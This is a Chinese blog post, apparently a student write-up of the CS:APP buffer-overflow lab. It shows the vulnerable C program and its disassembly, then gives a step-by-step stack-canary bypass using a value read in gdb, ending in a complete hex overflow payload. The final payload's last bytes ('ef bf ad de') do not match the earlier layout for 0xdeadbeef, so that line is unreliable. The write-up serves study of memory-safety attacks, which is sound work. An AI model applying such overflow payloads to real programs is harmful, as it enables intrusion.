Ubuntu 9.10 环境下缓存区溢出攻击实验
:Ubuntu 9.10 kernel 2.6.31 gcc版本:4.4.1
这个是csapp 《深入理解计算机系统》的一道题,直接在原程序运行的时候实现缓存区溢出已经不可能实现了,除非你是用的版本很低的内核和gcc,如gcc 3.4.3。
先是王珑珑同学做这道题,我也跟着做了下,花了挺长时间,这期间很感谢王珑珑同学的耐心讲解,thanks~~~
原题如下:
/* Bomb program that is solved using a buffer overflow attack */
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even = 1; /* Have read even number of digits */
int otherd = 0; /* Other hex digit of pair */
char *sp = dest;
while ((c = getchar()) != EOF && c != ’\n’) {
if (isxdigit(c)) {
int val;
if (’0’ <= c && c <= ’9’)
val = c - ’0’;
else if (’A’ <= c && c <= ’F’)
val = c - ’A’ + 10;
else
val = c - ’a’ + 10;
if (even) {
otherd = val;
even = 0;
} else {
*sp++ = otherd * 16 + val;
even = 1;
}
}
}
*sp++ = ’\0’;
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) & 0xFFF);
int *space = (int *) alloca(offset);
*space = 0; /* So that don’t get complaint of unused variable */
test();
return 0;
}
正常时程序退出时总是返回1,现在要求通过缓存区溢出,让程序返回0xdeadbeef。
注:(由于现在gcc在代码汇编代码中添加了%gs的缓存区溢出验证机制,所以如果gcc的版本较高,本只能在gdb下完成)
下面的网址是王珑珑童鞋的实现方式,他的gcc版本是4.3.3:(通 过在缓存区中植入一段攻击代码,然后让getbuf() ret到缓存区攻击代码出,最后让攻击代码返回text())。如果在gcc 4.4.1,4.3.2,3.4.3下用这种方法会报“段错误”(因为是从代码断跳转到了堆栈段)。
下面是实现缓存区溢出攻击的另一种方式。
输入:|任意十二个字符的编码||%gs:0x14||任意8个字符的编码||getbuf栈贞的基地 址||text()中第二个printf()的地址||01 00 00 00 ||71 87 04 08||ef be ad de|
下面解释为什么用输入上面哪些字符来实现缓存区溢出攻击。
用gcc编译生成buffbomb.c的可执行程序后,用objdump反汇编发现getbuf的函数如下:
080485c0 <getbuf>:
215 80485c0: 55 push %ebp
216 80485c1: 89 e5 mov %esp,%ebp
217 80485c3: 83 ec 28 sub $0x28,%esp
218 80485c6: 65 a1 14 00 00 00 mov %gs:0x14,%eax
219 80485cc: 89 45 f4 mov %eax,-0xc(%ebp)
220 80485cf: 31 c0 xor %eax,%eax
221 80485d1: 8d 45 e8 lea -0x18(%ebp),%eax
222 80485d4: 89 04 24 mov %eax,(%esp)
223 80485d7: e8 44 ff ff ff call 8048520 <getxs>
224 80485dc: b8 01 00 00 00 mov $0x1,%eax
225 80485e1: 8b 55 f4 mov -0xc(%ebp),%edx
226 80485e4: 65 33 15 14 00 00 00 xor %gs:0x14,%edx
227 80485eb: 75 02 jne 80485ef <getbuf+0x2f>
228 80485ed: c9 leave
229 80485ee: c3 ret
230 80485ef: 90 nop
231 80485f0: e8 57 fe ff ff call 804844c <>
232 80485f5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
233 80485f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
发现第217行:sub $0x28, %esp 即为getbuf()申请了40个字节的堆栈空间,我们申请的数组是从当前基址偏移24个字节开始的,负责检查缓存区溢出的%gs:0x14是从当前基址 偏移12个字节开始的。
(注:4.4.1以前的版本char数组是从当前基址偏移16个字节处开始,负责检查缓存区溢出的%gs:0x14是从当前基址偏移4个字节开始的)
查看test()函数:
08048600 <test>:
: 55 push %ebp
237 8048601: 89 e5 mov %esp,%ebp
238 8048603: 83 ec 18 sub $0x18,%esp
239 8048606: c7 44 24 04 60 87 04 movl $0x8048760,0x4(%esp)
240 804860d: 08
241 804860e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
242 8048615: e8 f2 fd ff ff call 804840c <>
243 804861a: e8 a1 ff ff ff call 80485c0 <getbuf>
244 804861f: c7 44 24 04 71 87 04 movl $0x8048771,0x4(%esp)
245 8048626: 08
246 8048627: c7 04 24 01 00 00 00 movl $0x1,(%esp)
247 804862e: 89 44 24 08 mov %eax,0x8(%esp)
248 8048632: e8 d5 fd ff ff call 804840c <>
249 8048637: c9 leave
250 8048638: c3 ret
251 8048639: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
从244行起是关键,246行是把指针指向位置设为1,由此猜测%esp存放的可能是printf的参数数目,247行是把eax的值压到esp+8的位 置,由上面的getbuf的代码我们知道eax存放的是getbuf的返回值,所以我们只需要在调用call printf之前把0xdeadbeef压入esp+8的位置就可以实现我们的目的了。
正常时整个堆栈的情况如下所示:
——————
%eax
——————
0x8048771
——————
0x1 <----esp
——————
返回地址(call getbuf下一条指令)
——————
%ebp
——————
8个字节
——————
%gs:0x14
——————
12个字节
——————
至此整体的思路已经有了:通过缓存区溢出修改printf的相关参数和getbuf()ret的地址,使之跳过call getbuf和call printf之间的代码,直接执行printf。即如下形式:
——————
0xdeadbeef
——————
0x8048771
——————
0x1 <----esp
——————
返回地址(call printf的地址)
——————
%ebp
——————
8个字节
——————
%gs:0x14
——————
12个字节
——————
具体实现过程如下:
1.在getbuf中创建断点,得到%gs:0x14的值,读出ebp中存放的值
2.输入任意十二个字符填满char[12],继续输入%gs:0x14的值,迫使程序检查不出缓存区溢出,填满栈贞剩下的8个字节,输入ebp中存放的 值,test()中call printf的地址,0x1,0x8048771,0xdeadbeef
即:aa aa aa aa aa aa aa aa aa aa aa aa 00 99 dd 78 11 11 11 11 11 11 11 11 d8 ef ff bf 32 86 04 08 01 00 00 00 71 87 04 08 ef bf ad de
总结;虽然实现了return 0xdeadbeef的目的,但是实际应用价值不大,尤其是%gs:0x14每次的值都会变化,所以只能在gdb模式下得到%gs:0x14的值然后在溢 出时刻意将其添回,才不会被程序发现缓存区溢出,随着gcc的越变越聪明,给人的可趁之机也越来越少阿 ~~~
- 最新评论